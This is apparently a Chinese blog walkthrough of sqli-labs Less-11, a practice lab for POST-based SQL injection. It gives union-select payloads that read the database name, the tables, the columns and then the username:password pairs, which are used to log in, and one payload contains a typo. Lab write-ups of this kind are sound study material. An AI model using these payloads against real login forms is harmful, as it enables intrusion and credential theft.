sqli-labs(less-11)

发布时间:2023-05-30 17:30

sqli-labs专栏地址

目录

 less-11(POST注入)

1.send to Repeater

2.单引号报错

3. 查库名

4.查表名

5.查段名

6.查数据

7.用查到的数据Dumb登录 


 less-11(POST注入)

1.send to Repeater

sqli-labs(less-11)_第1张图片

2.单引号报错

sqli-labs(less-11)_第2张图片

3. 查库名

aadmin' union select user(),database()-- 

sqli-labs(less-11)_第3张图片

4.查表名

aadmin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--

sqli-labs(less-11)_第4张图片

5.查段名

aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_table='users'--

sqli-labs(less-11)_第5张图片

6.查数据

aadmin' union select 1,group_concat(username,':',password) from users --

sqli-labs(less-11)_第6张图片

7.用查到的数据Dumb登录 

sqli-labs(less-11)_第7张图片

ItVuer - 免责声明 - 关于我们 - 联系我们

本网站信息来源于互联网,如有侵权请联系:561261067@qq.com

桂ICP备16001015号